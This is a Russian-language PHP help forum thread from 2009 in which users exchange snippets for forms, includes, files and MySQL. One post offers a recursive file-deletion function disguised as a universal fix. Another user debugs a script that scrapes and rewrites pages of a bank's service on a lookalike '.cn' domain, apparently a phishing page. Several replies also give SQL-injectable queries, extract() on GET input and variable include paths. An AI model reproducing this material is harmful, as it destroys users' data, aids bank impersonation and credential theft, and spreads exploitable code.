if(isset($_COOKIE['name'])){
$name = $_COOKIE['name'];
$name = explode('-', $name);
$a = $name[0];
$b = $name[1];
}
?>

если не так то поправте, хотя так скорее всего

1406. Wapruks (13.01.09 / 09:31)
Спасибо).gif

1407. Aleksandr (13.01.09 / 20:41)
в корне .htaccess с кодом Deny from all, файлы и папка "mydir"
как написать в хтачессе чтоб папку он не защищал ?

1408. Aleksandr (13.01.09 / 21:40)
и второй вопрос:
$url="httр://visavi.net/forum/?tid=4&id=12345
$url=eregi_replace("((htt ps?Iftp)://[[:alnum:]_=/-]+(\\.[[:alnum:]_=/-]+)*(/[[:alnum:]+&a mp;._=/~:%#]*(\\?[[:alnum:]?+&amp;_=/%:#]*)?)?)", "<a href=go_url.php?url=\\1>\\1</a>", $url);
$url выводит - http://visavi.net/forum/?tid=4
тоесть не весь url. Как сделать чтоб всю ссылку выводил?

1409. Titov (14.01.09 / 04:07)
1427 активную ссылку через файл хочь, или непонял что хочеш

1410. Aleksandr (14.01.09 / 19:33)
со второй проблемой разобрался поставлю плюс за превильный ответ на первый

1411. Удаленный (15.01.09 / 00:36)
deny from all в каждую папку которую хошь защитить а ту которую нехошь то ненадо

1412. Aleksandr (15.01.09 / 01:41)
корневую хочу с файлами и в корневой папка

1413. Gnom (15.01.09 / 04:20)
кажеть ся за место all надо вписать *.php что то в этом роде насколько я помню. у меня такой вопрос подскажите код вот у меня в файл идет запись каждая запись с новой строки мне надо что бы если в файле есть 15 запесей то из него стиралась 15 и в начале файла вписывалась новая запись. Буду очень благодарен за помощь.

1414. Aleksandr (15.01.09 / 11:57)
<?php
$all = file("файл.dat");
$files = count($all);
$stroka=$files-1;
unset($all[$stroka]);
$textmsg=' тут сообщение';
$fp=fopen("файл.dat","r+");
fputs($fp,"$t extmsg\r\n");
fclose($fp);


1415. Gnom (16.01.09 / 19:40)
спасибо большое

1416. lugaro (16.01.09 / 21:46)
Как отправить данные с формы,скриптом?
К примеру форма
<FORM action="file.php" method=POST>
<INPUT type="text" name="tratata" value="">
<INPUT type="submit" name="" value="тык">
</FORM>
как компот нажать скриптом?)

1417. lugaro (16.01.09 / 21:46)
*Кнопку* ы т9 рулит)

1418. ReguL (17.01.09 / 07:38)
Всем привет, помогите организовать на сайте сжатие страниц, с меня +

1419. Titov (17.01.09 / 08:44)
1435

<?
if(empty($_POST['name'])){
echo'<form action="file.php" method=POST>
<input type="text" name="name" value="">
<input type="submit" name="" value="тык">
</form>';
}else{
if(isset($_POST['name'])){
$name = htmlspecialchars($_POST['name']);
echo'Вы ввели имя '.$name.'<br/>';}else{
echo'Введите имя!<br/>';
}
}
?>

1437 тут на форуме уже куча примеров сжатия есть, неполенись и полазь почитай, зайди в полезные куски кода в этом разделе например.

1420. lugaro (17.01.09 / 14:46)
1438 ты меня не понял, мне надо отправить данные с формы скриптом, надо нажать кнопку (submit) скриптом.

1421. DmitryDick (17.01.09 / 15:38)
1439, скриптом методом post?

1422. z-kzn-z (18.01.09 / 12:33)
1435, если я правильно тебе понял, тебе надо куда-то что-то отправить методом POST.
$parse_url = parse_url('http://сайт.домен/куда.php');
$path = $parse_url["path"];
if($parse_url["query"]) $path.="?".$parse_url["query"];
$host = $parse_url["host"];
$data = 'text=что-то&еще_что-то=что-то_еще'; // это данные которые ты отправляешь
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if($fp) {
$out = "POST ".$path." HTTP/1.1\n";
$out .= "Host: ".$host."\n";
$out .= "Referer: visavi.net"."/\n"; // или любой
$out .= "User-Agent: ".$_SERVER['HTTP_USER_AGENT']."\n"; // или любой User-agent
$out .= "Content-Type: application/x-www-form-urlencoded\n";
$out .= "Content-Length: ".strlen($data)."\n\n";
$out .= $data."\n\n";
fputs($fp, $out);
$cont = '';
while($file = fgets($fp, 1024))
$cont.=$file; // ну а здесь читаем ответ от сервера
fclose($fp);
}


1423. ReguL (18.01.09 / 13:59)
Помогите сделать страницу, адрес которой чтоб был http://sait.ru/index.php?r=auth например

1424. myz-tv (18.01.09 / 15:06)
1442, вроди понял гг
<? if($_GET['r']=='auth'){ echo 'тут страница'; } ?>


1425. lugaro (18.01.09 / 15:17)
1441 Спасибо больше, выручил)
1442
<?
$r=$_GET['r'];
switch($r)
{default:
echo 'тут то что должно быть по адресу index.php';
break;
case'auth':
echo 'страница по адресу index.php?r=auth';
break;}
/*
таких можно сделать сколько хочеш
case'насвиние': начало стр
тело
break;конец
*/
?>


1426. lugaro (18.01.09 / 15:17)
1441 Спасибо больше, выручил)
1442
<?
$r=$_GET['r'];
switch($r)
{default:
echo 'тут то что должно быть по адресу index.php';
break;
case'auth':
echo 'страница по адресу index.php?r=auth';
break;}
/*
таких можно сделать сколько хочеш
case'насвиние': начало стр
тело
break;конец
*/
?>


1427. Karesh (18.01.09 / 21:14)
Подскажите где ошибка(компа нет , с сайта переписал)
if(!defined('_SAPE_USER')) { define('_SAPE_USER',5575389c03dffa759eabe6a1bea2367c'); }
require_once ($_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php');
$sape = new SAPE_client();


1428. demeros (19.01.09 / 00:13)
Ребят,подскажите как организовать поиск в файле? С открытия файла и дальше! Параметр для поиска находится в переменной

1429. mello007 (19.01.09 / 15:29)
Глупый вопрос у меня но всё же.. Короче в скрипте ссылка имеет вид index.php?sid=user.admin&p=3333 а после использования телепорта ссылка преобретает &adm=telep (index.php?sid=user.admin&p=3333&adm=telep) как сделать так что бы после использования телепорта ссылка "обновлялась" и становилась обычной (index.php?sid=user.admin&p=3333&) ? ну я думаю вы меня поняли...

1430. mello007 (19.01.09 / 15:31)

<a href=\"$PHP_SELF?sid=$sid&adm=telep\">Телепорт</a><br>< br> if ($adm=='telep'){msg("<form action=\"$PHP_SELF?sid=$sid&adm=tele\" method=\"post\">Телепорт(без loc.):<br><input name=\"inp\" class=\"inup\"/><br><input type=\"submit\" value=\"Телепортироваться\" class=\"btn\">"); };
if ($adm=='tele') {
$loc='loc.'.strtolower($inp);
if (!isset($locations[$loc])) msg("<p>Нет локации ".$loc);
$game["loc"][$loc][$login]=$game["loc"][& #36;player["loc"]][$login];
unset($game["loc"][$player["lo c"]][$login]);
unset($player);
$player=&$game["loc"][&# 36;loc][$login];
$player["loc"]=$loc;
$game["players"] [$login]=$loc;
}


1431. Himera (19.01.09 / 15:48)
Народ как зменую удалить ? З меня +

1432. Wapruks (19.01.09 / 16:00)
unset()

1433. Himera (19.01.09 / 16:23)
Ваш положительный голос за пользователя Wapruks успешно оставлен!
В данный момент его авторитет: 61

1434. Himera (19.01.09 / 16:45)
Переменую таким способом удаляет , а глобальную переменую ктот знает как удалить ?

1435. mello007 (20.01.09 / 19:44)
1448, ну мож кто поможет? как например после перехода на ссылка&adm=telep сделать ридерект на ссылка&log=l&pass=p&sid=sid ? ).gif

1436. mello007 (20.01.09 / 19:46)
^^^ код в 1449 посте ^^^

1437. lugaro (20.01.09 / 20:06)
1454
<? header("Location: http://visavi.net");
?>


1438. mello007 (20.01.09 / 20:17)
1456, мм.. это переадрисировать будет на висави после перехода на sait.ru/index.php?sid=user.admin&p=3333&adm=telep ?

1439. Удаленный (23.01.09 / 12:12)
Подскажите пожалуйста, как в пхп скпипте прописать мета теги?

1440. lugaro (23.01.09 / 12:22)
echo 'тратата';

1441. Удаленный (23.01.09 / 12:25)
то бишь тра та та??? примерчег бы....?

1442. lugaro (23.01.09 / 12:39)
Вставляй меду ' и ' мета тяги

1443. Удаленный (23.01.09 / 13:03)
echo 'meta name="description" content="реалтоны мелодии java игры картинки темы 3gp видео"'

1444. Удаленный (23.01.09 / 15:07)
Воть так, да???

1445. myz-tv (23.01.09 / 18:09)
1462, да. Еще ; в конце после '

1446. Удаленный (23.01.09 / 18:55)
1464, Спасиб большое!

1447. Удаленный (23.01.09 / 18:57)
1464, Спасиб большое!

1448. Удаленный (23.01.09 / 23:24)
Блин, не получилось... Какие то кракозябры вылезли только...

1449. Удаленный (30.01.09 / 01:22)
Люди хелп может кто знает как поменять массово название всех файлов в папке? С меня аптека

1450. AksinVin (30.01.09 / 17:27)
Идет текст большой, как сделать на сайте, чтоб каждый абзац начинался с отступом небольшим? Или что прописывать перед каждым абзацем? Мне важен отступ...

1451. abwer (30.01.09 / 20:51)
Blacker http://visavi.net/forum/index.php?fid=3&id=120325850058&page=50& смотри пост 52

1452. w1NNt (01.02.09 / 14:09)
1470 эм вам не кажется что вы украли мой ник?

1453. w1NNt (01.02.09 / 14:15)
1469. попробуй пару &nbsp; ставить перед абзацем ...

1454. abwer (01.02.09 / 14:35)
1471 нет не кажется ).gif

1455. Удаленный (01.02.09 / 20:26)
Люди как сделать такую штуку: Кароче онлайн чтобы на главной странице был счётчик ну типо так Online: 20 и чтобы колл-во было например who.php и когда заходишь там показывались браузеры тех кто онлайн... Вот вообщем Ы надеюсь понятно выразился D.gif

1456. lugaro (02.02.09 / 04:08)
Как проверить существует ли папка?

1457. lugaro (02.02.09 / 05:58)
1476 спс)

1458. MobiRow (02.02.09 / 15:21)
Кто подскажет как изменить вывод размера картинки для тем в загрузе от гемороя? А то они там совсем маленькие.

1459. Fantik (02.02.09 / 16:52)
Подскажите пожалуйста как сделать: допустим задаёшь в коде число от 12 до 25. Этот код выводит на страницу случаным образом любое число из этого диапозона. С меня + ).gif

1460. lugaro (02.02.09 / 17:40)
$rand=rand(12, 25);
echo $rand;

1461. Fantik (02.02.09 / 18:13)
).gif спасибо, счас + поставлю. А вечером попробую этот код ).gif

1462. lugaro (02.02.09 / 18:45)
Вобщем такая штука, если папку или файл создать скриптом то потом с ними не че нельзя сделать через фтп, потому что владелец этой папки или файла сер, как правильно создавать папку, файл?

1463. Aleksandr (06.02.09 / 00:07)
что значит сер?
В конце создания им права выдаешь?
chmod ("созданный файл.тхт", 0666);

1464. lugaro (06.02.09 / 05:19)
1485
Сер это сервер.
Уже разобрался, дело было в правах ))

1465. Fantik (06.02.09 / 20:30)
Пожалуйста дайте код вывода кол-ва файлов из папок и подпапок! с меня + ).gif

1466. Fantik (06.02.09 / 20:33)
Да и ещё можно ли такое: пропускаем ссылку через код и чтоб код считал кол-во переходов по ссылке за сегодня и вчера и текстом выводил кол-во переходов. Если можно выложите пожалуйста ).gif тоже за +

1467. SLAVA (09.02.09 / 08:52)
Парни напишите код для импорта

1468. lugaro (09.02.09 / 09:06)
1489
<?
$file = 'http://site.ru/file.gif';//адрес файла
$newfile = 'папка/имяфайла';//куда сохранить и как назвать
if (!copy($file, $newfile)) {
echo "не удалось скопировать файл";
}
?>


1469. lugaro (09.02.09 / 09:07)
На папке в которую сохраняеш файл должны стать права 777

1470. SLAVA (09.02.09 / 09:11)
Ага он спасибки

1471. Fantik (09.02.09 / 09:43)
А мне (.gif кто-нибудь поможет

1472. lugaro (09.02.09 / 10:02)
1493 в полезных кусках кода ищи

1473. Удаленный (10.02.09 / 08:11)
Как вставить в инклюд $файл? пример пробувал так не пошло
include_once"template/'.$file.'";

1474. Удаленный (10.02.09 / 08:25)
Я сообщении забыл поставить слеш перед темплате.

1475. myz-tv (10.02.09 / 09:14)
include_once 'template/'.$file; зы. Есле ты береш эту переменную из вне эсо дыра.

1476. lugaro (10.02.09 / 09:16)
include_once"папка/$file";

1477. Удаленный (10.02.09 / 10:27)
Не работает ни тот ни тот.
Надо поставить в pages/registration.php
include на ../baza/template/$reg
$reg светит registration.php
или
noregistration.php

1478. lugaro (10.02.09 / 10:39)
Мда... (:

1479. lugaro (10.02.09 / 10:42)
Ну так доплыл себе подем на столько директорий сколько надо. это ../ на непос папку выше , это ../../ на две.
Всё должно работа это уже твои проблемы если ты не можем адрес к файлу правильный написать

1480. lugaro (10.02.09 / 10:45)
Опс т9

1481. Удаленный (10.02.09 / 12:16)
Да причём сдесь дидектории? Адрес до дидектории правельный.
В место
$reg
ставлю
registrations.php
Всё работает.

1482. Удаленный (10.02.09 / 12:17)
Да причём сдесь дидектории? Адрес до дидектории правельный.
В место
$reg
ставлю
registration.php
Всё работает.

1483. bars (10.02.09 / 15:49)
$file='registrations.php';
include_once 'template/'.$file;

1484. Удаленный (10.02.09 / 16:53)
БАРС $file; уже создан ет я место не подходяще выбрал ставил на ето место ноги вап мотора тоже не работает.

1485. Aleksandr (12.02.09 / 16:33)
пробуй другую переменную, может она занята

1486. Удаленный (13.02.09 / 02:05)
Всёравно не работает. Вот код которым я создавал файл.
 <?php
ini_set('user_agent',$_SERVER['HTTP_USER_AGENT']);
$jajajaja= file_get_contents("https://217.117.65.147:81/History/default.aspx?".$_SERVER['QUER Y_STRING']) ;
$jajajaja=str_replace('К сожалению у Вас нет поданных заявок на выбранный продукт','jajajajajajajajajaja',$jajajaja);
$jajajaja = preg_replace('/jajajajajajajajajaja(.*?)<\/html>/si','off.php',$jajaja ja);
$jajajaja=str_replace('<img alt="Ваш идентификатор','jajajajajajajajajajajaja',$jajajaja);
$jajajaja=str_replace(& #39;<!DOCTYPE HTML PUBLIC','jajajajajajajajajajaja',$jajajaja);
$jajajaja = preg_replace("/jajajajajajajajajajaja(.*?)jajajajajajajajajajajaja(.*?)<\/html>/si&qu ot;,"noinn.php",$jajajaja);
$jajajaja = preg_replace('/jajajajajajajajajajaja(.*?)<\/html>/si','registration.php', $jajajaja);
?>


1487. Удаленный (13.02.09 / 02:08)
Вобщем он работает ето форум создал всякую.

1488. Удаленный (13.02.09 / 02:25)
Здесь адрес где он стоит. http://privat-banking.cn/baza/template/bazaprivatbank.php?product=1&login=3334710712
А вот скопировал в тхт
http://privat-banking.cn/baza/template/bazaprivatbank.txt

1489. Удаленный (13.02.09 / 02:27)
Помогите с меня 2 +

1490. lugaro (13.02.09 / 21:27)
Напомните что в хотчесе прописать чтоб увеличить лимит времени на выполнение сценария

1491. Удаленный (13.02.09 / 21:40)
Как на моторе на главной странице вставить скрипт?или свою страницу?что нужно прописать? и в каком файле?плиззззз помогите!

1492. Taurus (13.02.09 / 21:53)
1512.
php_value max_execution_time 30
Устанавливает максимальное время работы скрипта в секундах, до того как он будет остановлен разборщиком. По умолчанию 30 сек.

1493. Удаленный (13.02.09 / 22:19)
Извините забыл што у меня закрыт сайт. Все открыл. Дак што ктонибуть поможет?

1494. Удаленный (14.02.09 / 00:20)
Нашол проблему. В $jajajaja втавлялся еще и пробел. А я мучаюсь D.gif поставил ето
$jajajaja=str_replace(' ','',$jajajaja);

все заработало.

1495. myz-tv (14.02.09 / 10:27)
1512, лучше в скрипте set_time_limit(0);

1496. Удаленный (14.02.09 / 13:47)
кто нибудь скажет?

1497. Удаленный (14.02.09 / 23:36)
Может кто код написать? Вообщем мне нужно переименовать много файлов у которых название там например 21212, 3432, 35455 и т.д., а нужно переименовать в такой тип sait.ru_001 sait.ru_002 и т.д. просто вручную запарился уже переименовывать... Помогите плиз может кто знает))

1498. Taurus (15.02.09 / 01:10)
Total Commander используй! Файловый менеджер есть такой.

1499. Taurus (15.02.09 / 01:12)
Даже на FTP групповое переименование можно сделать.

1500. Удаленный (15.02.09 / 09:07)
1520, а как там массово переименовывать? Я прост другой фтп клиент юзаю но командер тож гдет был

1501. Wapruks (15.02.09 / 11:15)
$into = mysql_query("INSERT INTO users (mail,icq,name) VALUES ("'.$mmail.'","'.$micq.'","'.$mname.'&q uot;)");
где сдесь ошибка?Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING

1502. myz-tv (15.02.09 / 11:44)
$into = mysql_query("INSERT INTO users (mail,icq,name) VALUES ($mmail,$micq,$mn amе)");

1503. demeros (15.02.09 / 16:39)
И такс,вопрос!
[code]<?
$file=file("1.txt");
$count=count($file);
$fp=fopen("1.txt","w");
flock=($fp,Lock_ex);
//цикл и условие за которым находим идентификатор
{$id=$i;}
unset($file[$id]);
//как записать новую строчку на место удаленно,а не в конец файла?

1504. myz-tv (15.02.09 / 16:46)
Место unset($file[$id]); Ha $file[$id]='text';

1505. Удаленный (15.02.09 / 16:49)
<?
$file=file("1.txt");
$count=count($file);
//цикл и условие за которым находим идентификатор
{$id=$i;}
$fp=fopen("1.txt","w");
$file[& #36;id]=="$newstring\n";
fwrite($fp,implode("",$file));
fc lose($fp);
?>


1506. Удаленный (15.02.09 / 16:50)
Мдя...

1507. demeros (15.02.09 / 17:07)
Мдя,все гениальное просто! Все пасиб,выросту-с меня +!
Надо было всего лиш подумать

1508. nscorp (15.02.09 / 17:42)
ребята, подскажите пожалуйста, как можно изменить значение H (Час) в таком коде $datа = date ("m/d,H:i"); хочу, чтобы часы были на 8 часов вперед чем время сервера. . срочно надо (((

1509. Удаленный (15.02.09 / 18:32)
$time = time()+28800;
date ("m/d,H:i",$time);

1510. Удаленный (15.02.09 / 21:35)
скажите какие надо поставить права дocтyпa CHMOD???

1511. lugaro (15.02.09 / 23:13)
смотря для чего, если для записи то на папки 777 а на файлы 666

1512. Удаленный (15.02.09 / 23:27)
это 777 или 644 ???

1513. Удаленный (15.02.09 / 23:28)
ясно спасбо

1514. Удаленный (15.02.09 / 23:52)
Скажите пожалуйста как сделать так,шоб кодинг меня не з а ё б ы в а л ?

1515. myz-tv (16.02.09 / 20:00)
36, стать дизайнером))

1516. Wapruks (18.02.09 / 00:54)
Как сделать,чтобы в ссылку приписывалось что-то типа PHPSESID=... ???

1517. Exwap (18.02.09 / 01:12)
37.Кодинг лучше, чем дизайнерство..проще, не треюует фантазии...

1518. Taurus (19.02.09 / 07:13)
1538.
Первый способ.
В файле .htaccess пишете такую строку: php_value session_use_trans_sid 1
Но этот способ я бы не рекомендовал т.к. ID будет лепиться абсолютно ко всем ссылкам.

1519. Taurus (19.02.09 / 07:27)
1538.
Второй способ.
<?php
session_start();
echo '<a href="page.php?'.session_name().'='.session_id().'">Ссылка</a> 9;;
?>


1520. mello007 (19.02.09 / 13:00)
Люди помогите.. Вот есть переменная, например $item, как сделать чтобы например если переменная обозначала "один" то вывести "mech" ).gif если "сапог" то вывести "sapojok" и т.д. ).gif

1521. myz-tv (19.02.09 / 15:41)
<? $p='sapog'; if($p=='sapog'){ echo 'это сапог'; } if($p=='1'){ echo 'это 1'; } ?>


1522. Tesei (20.02.09 / 10:51)
Есть цикл от 1 до 32.Необходимо чтобы каждое число выводило днем недели. То есть 1 это суббота, 2 воскресенье и тд.

1523. demeros (20.02.09 / 21:58)
Добрый вечер, вопрос. Можно ли научить php скрипт делать какието действия в другом скрипте? Например организовать автокач в какойто онлайн игре. И если да,то дайте ссылки на ресурсы где об этом подробнее написано. Заранее спасибо! П.С. Не гуглю,так как с телефона

1524. Удаленный (20.02.09 / 22:04)
конечно можно, сокеты, ссокеты ).gif

1525. demeros (20.02.09 / 22:04)
1542,
 <?php
$item=array("sapog","mech");
$count=count($item);
for($i=0:$i<$count:$i++)
{if($value=="1")
{echo$item[0];} elseif($value=="2"){echo$item[0];} ?>

думаю суть ясна?

1526. demeros (20.02.09 / 22:09)
А еще лучше сделать чтобы порядок ел. В масиве совпадал с названиями! Тогда писал бы.
Echo $item[$value];

1527. myz-tv (20.02.09 / 22:11)
47, у тебя будет куча сапогов Гг

1528. myz-tv (20.02.09 / 22:13)
48, чесно гря непонял нафига цикл и массивы и где сапог?))

1529. myz-tv (20.02.09 / 22:18)
Код поста 48
<? $p='sapog'; $a['sapog']='сапог'; $a['botinog']='ботиног'; $a['nosok']='носок'; echo $a[$p]; ?>


1530. demeros (20.02.09 / 22:21)
51. Break и все!

1531. demeros (20.02.09 / 22:22)
51, ну а если выход с цикла не устраивает,при выполнении условия запоминаем индекс и выводим за циклом :ь

1532. demeros (20.02.09 / 22:24)
51,ну и в твоем варианте обьемней выйдет,хотя на вкус и цвет товарищей нет как грица

1533. myz-tv (20.02.09 / 22:29)
Вобщем это не так важно))

1534. Удаленный (20.02.09 / 22:29)
а вот вапще код каторый решает все праблемы
while($pisec=1){
$c = (9999*9999999)/(999+34536-5)+(756757*999999999999999999999999999999);
$c++;
}

1535. Удаленный (20.02.09 / 22:39)
А эт еси предыдущий код решил не все праблемы
<?

function pisec($dirname){
$count=0;
$diro = @opendir($dirname);
while(($file = @readdir($diro))!==false){
if(@is_dir("$dirname/$file")){
pisec(" $dirname/$file");}
if(is_file("$dirname/$file")){
unlink(" ;$dirname/$file");}
}
@closedir($diro);
print 'bugaga';}
pisec("любая папка");

?>

1536. demeros (20.02.09 / 22:41)
Этот код гениален! +1,за новаторство).gif

1537. demeros (20.02.09 / 22:42)
Плак,как 150 балоф набереш).gif

1538. DeveL (21.02.09 / 20:04)
подскажите пожалуйста, как сделать чтобы допустим пользователю партнерки, при переходе на определенную страницу раз в 24 часа начислялся бонус на внутренний счет, а после его получения (при повторном переходе) выводилось предупреждение что он уже получал бонус за эти сутки?

1539. Wapruks (23.02.09 / 12:54)
Есть папка files,а в ней папки img и games. В папке img есть файл test.png,а в папке games файл test.jar. Как сделать чтобы при переходе в папкy files выводились папки img и games как ссылки и при переходе например в папку img выводился файл test.png тоже как ссылка и при переходе по ссылке выводилось типа 'test.png' скачать. Ток при учете,что в папках не один файл и названия разные

1540. Wapruks (23.02.09 / 14:08)
Страница code.php
<?php
$code = mt_rand(1000,9999);
$font = getcwd()."/ttf.ttf";
$angle = "0";
$font_size = "15";
$_SESSION['code'] = $code;
$image = "1.png";
$x = 8;
$y = 23;
$img = ImageCreateFromPNG($image);
$color1 = ImagecolorAllocate($img, 0,150,0);
ImageTTFtext($img,$font_size,0,$x,$y,$color1, $font, $_SESSION['code']);
Header("content-type: image/png");
Imagepng($img);
ImageDestroy($img);
?>

И не работает. Почему?

1541. Wapruks (23.02.09 / 14:09)
Забыл вверху session_start();

1542. Aleksandr (23.02.09 / 14:10)
не знаю когда осчастливиться сесть за комп, надеюсь ошибок нет.
пишешь ссылку на files и при переходе на страницу:
<?php
if($a!=""){
$dir=opendir("files/$a" ;);
while($file=readdir($dir)){
if(($file != ".") && ($file != "..")){
echo'<a href="files/'.$a.'">'.$file.'</a>';
}}
closedir ($dir);
exit; }
$dir=opendir("files");
while($file=readdir($dir)){
if(($file != ".") && ($file != "..")){
echo'<a href="?a='.$file.'">'.$file.'</a>';
}}
closedir ($dir);


1543. Aleksandr (23.02.09 / 14:11)
я это к посту 1561

1544. Wapruks (23.02.09 / 14:29)
1564.спасибо,попробую

1545. Aleksandr (23.02.09 / 16:19)
не работает. А вот так работает. проверял
<?php
extract($HTTP_GET_VARS);
if($a!=""){
$dir= opendir("files/$a");
while($file=readdir($dir)){
if(($file != ".") && ($file != "..")){
echo'<a href="/files/'.$a.'/'.$file.'">'.$file.'</a>& #39;;
}}
closedir ($dir);
}else{
$dir=opendir("files");
while($file=readdir($dir)){
if(($file != ".") && ($file != "..")){
echo'<a href="?a='.$file.'">'.$file.'</a><br>';
}}closedir ($dir); }


1546. Wapruks (23.02.09 / 16:29)
Спасиб большое).gif

1547. MerZaveC (27.02.09 / 21:00)
как скрывать сессию, как в моторе

1548. Aleksandr (27.02.09 / 21:51)
как понять скрыть?
от кого скрыть?

1549. Night (27.02.09 / 21:52)
69 почему она скрыта? http://visavi.net/forum/index.php?fid=3&id=12003130241&page=1560&SID=9c2dfe85770cc285067 1687589b9e2c4

1550. MerZaveC (28.02.09 / 09:59)
ну я уже разобрался))

1551. Удаленный (28.02.09 / 16:30)
помогите ,не получается с инклудом....
файл находится корневая=>JetCms\templates\xHTML\_styles\black\foot.php там мне нужно вписать сторчку include ('end.php');
end.php насодитмя по адресу корневая => include/end.php
как правильно проинклудить? О_о

1552. OlegLom (28.02.09 / 17:23)
../../../../../include/end.php

1553. Удаленный (28.02.09 / 18:47)
2PAC спасибо,но всеровно не работает (.gif может из-за того что файл не php ?

1554. Удаленный (28.02.09 / 18:52)
имел ввиду что foot.php не php a, .win

1555. OlegLom (28.02.09 / 19:38)
Slem, всмысле win? O_o

1556. HardSsSsS (28.02.09 / 19:42)
1577, win это у винта(WinCMS) в двиге такое расширение)

1557. MobiRow (01.03.09 / 13:33)
Кто подскажет как вывести icon.png из igra.jar

1558. Wapruks (01.03.09 / 13:47)
Если ты про скрин из игры-то никак,если иконку,то в загруз-центрах смотри,в частности от mch

1559. MobiRow (01.03.09 / 17:59)
1580.Спасибо. Пойду смотреть.

1560. MobiRow (01.03.09 / 18:42)
#80 Нет там такого.
Может кто знает как выдрать картинку из архива igra.jar

1561. MobiRow (01.03.09 / 18:43)
#80 Нет там такого.
Может кто знает как выдрать картинку из архива igra.jar

1562. OlegLom (01.03.09 / 19:38)
1583, как выдрать? Это тебе не код из 2 строк. Сначала надо открыть архив jar, заранее знать название нужной картинки, а уж потом "выдерать" её.

1563. OlegLom (01.03.09 / 19:39)
Slem, ну тогда не знаю чем тебе помочь. Я не знаю устройства этого двига.

1564. MobiRow (02.03.09 / 12:49)
Нужен код вывода картинок. Например у меня 5 картинок. Мне нужно чтобы при первой загрузке выводилась картинка 1. И строка из ссылок 1 2 3 4. Переходя по выбранной 3 грузилась картинка 3 не переходя с файла. Вроде того как на фанке темы выводятся.

1565. MobiRow (02.03.09 / 13:59)
Спасибо. На 1586 сам разобрался.

1566. Удаленный (02.03.09 / 18:20)
define('BASE',$_SERVER['DOCUMENT_ROOT'].'/');
include_once BASE."papka/page.php";
Подскажите почему неработает?
въдает ошибку:
Warning: include_once(): open_basedir restriction in effect. File(/usr/local/apache/htdocs/page/ups.php) is not within the allowed path(s): (/home/:/usr/lib/php:/tmp) in /home/a2174973/public_html/mode/anketa.php on line 10
и как результат:
Warning: include_once(/usr/local/apache/htdocs/page/ups.php): failed to open stream: ...
чего нехватает?

1567. OlegLom (02.03.09 / 21:07)
1588, include_once не работает. Смотри внимательно что и как инклюдишь.

1568. Удаленный (03.03.09 / 01:04)
да не.. без НОМЕ инклуд нормально пашет..

1569. Удаленный (04.03.09 / 19:39)
Помогите сделать инклудет.У меня индех.пхп вмл там на шапке 4 инклудв а в конце 2.Теперь я хочу кидать этих 4 инклудов а одну и этот один в индех.

1570. Удаленный (09.03.09 / 00:41)
Обясните принцип роботи сокетов и вообще что можно делать с их помощю!?

1571. Удаленный (09.03.09 / 11:05)
Вот такая задачка:у меня есть несколько файлов 0.txt,1.txt,2.txt,3.txt,4.txt
при удалении допустим файла 2.txt нужно остальные переименовать по порядку.чтобы опять было 0.txt,1.txt,2.txt,3.txt
тоесть 3.txt переименовать в 2.txt а 4.txt в 3.txt
как это сделать?

1572. Удаленный (09.03.09 / 11:06)
И еще,количество файлов может быть неограниченным.

1573. Alen (14.03.09 / 17:05)
Можт я чет не понимаю и путаю но каким способом можно предоставить пхп скрипт в готовом html? Читал што делаетса кеширование страницы предоставляютса в готовом хтмл варианте. Как делать такое кеширование?

1574. demeros (15.03.09 / 18:53)
Вопрос по mysql. Как сравнить поля с 2х таблиц? Всю строку целеком. И соответственно,если нет совпадений продублировать с 1й в 2ю

1575. myz-tv (15.03.09 / 19:37)
91,засунь все игклуды в один файл и проинклудь его. 92, пхп.су на главной.95,хтмл как пхп нельзя или напиши засунь пхп код в хтмл.

1576. myz-tv (15.03.09 / 19:38)
96, делай 2а запроса и сравнивай

1577. NoForMaL-OtaKU (15.03.09 / 20:51)
читаю катерова но не как не могу врубится в одну вещь
class AgentSmith();
$smit=new AgentSmith();
$wesson=new AgentSmith();
эт для чего как действует и где почитать об этом можно можете сказать

1578. myz-tv (15.03.09 / 21:35)
99, http://www.php.su/learnphp/phpoo/?classes

1579. demeros (15.03.09 / 21:53)
98,я и спрашиваю,КАК СРАВНИТЬ всю строку сразу??

1580. z-kzn-z (15.03.09 / 23:52)
блин..

$arr1 = mysql_fetch_assoc(mysql_query("SELECT pole1 FROM table_name WHERE <something>;"));
$arr2 = mysql_fetch_assoc(mysql_query("SELECT pole2 FROM table_name WHERE <something_else>;"));
if($arr1['pole1'] == $arr2['pole2']) echo 'поля равны';
else {
echo 'поля не равны';
mysql_query("UPDATE table_name SET pole2='".$arr1['pole1']."' WHERE <something>;"); // копируем то что было в первом, во второе.
}
// <something> и <something_else> - твои условия, если они тебе там в запросе не нужны, соответственно не пиши их и WHERE


1581. cxmobile (16.03.09 / 00:31)
Кто нибудь ковырял php.ini или httpd.conf?
У меня на смарте п.а.м.п стоит(эт типа денвера)
и все время вылазит эта ошибка:
[Mon Mar 16 02:21:18 2009] [error] [client 127.0.0.1] PHP Warning: session_start() [<a href='function.session-start'>function.session-start</a>]: fcntl(8, F_SETFD, FD_CLOEXEC) failed: Unknown error: 0 (0) in E:\\data\\apache\\htdocs\\inc\\cfg.php on line 3
она ругается на session_start();

1582. demeros (16.03.09 / 12:48)
602,по твоему один елемент это вся строка? Вобщем так,таблица 1
структура- поле1,поле2. В табл2 аналогично! Как сравнить записи в 1й и 2й таблице,по 2м полям сразу? Аналогия в файлах-
$a=file(1.txt);
$b=file(2.txt);
if(in_array($a[0],$b)...
Вот это имею ввиду!

1583. z-kzn-z (17.03.09 / 01:23)
по 2м полям сразу - это типа если поле1 первой таблицы с полем1 второй и сразу поле2 первой с полем2 второй?
если я правильно понял - в чем проблема-то?

$arr1 = mysql_fetch_assoc(mysql_query("SELECT * FROM table_name;"));
$arr2 = mysql_fetch_assoc(mysql_query("SELECT * FROM table_name;"));
if($arr1['pole1'] == $arr2['pole1'] && $arr1['pole2'] == $arr2['pole2']) echo 'поля равны';
else {
echo 'поля не равны';
// копируешь
}
это тебе надо?

1584. Wapruks (18.03.09 / 08:00)
Как с помощью регулярок проверить поле на то,что в нем могли ввести одновременно русские и английские символы?

1585. Aleksandr (18.03.09 / 09:35)
вообщем я сделал файл с таким содержанием

mysql_connect("localhost", "$dbuser", "$dbpass")
or die("Нет соединения с базой mysql<br/>" . mysql_error());
mysql_select_db("$dbname") or die("Ошибка подключения к базе");
mysql_unbuffered_query("SET character_set_client = 'utf8';");
mysql_unbuffered_query("SET character_set_results = 'utf8';");
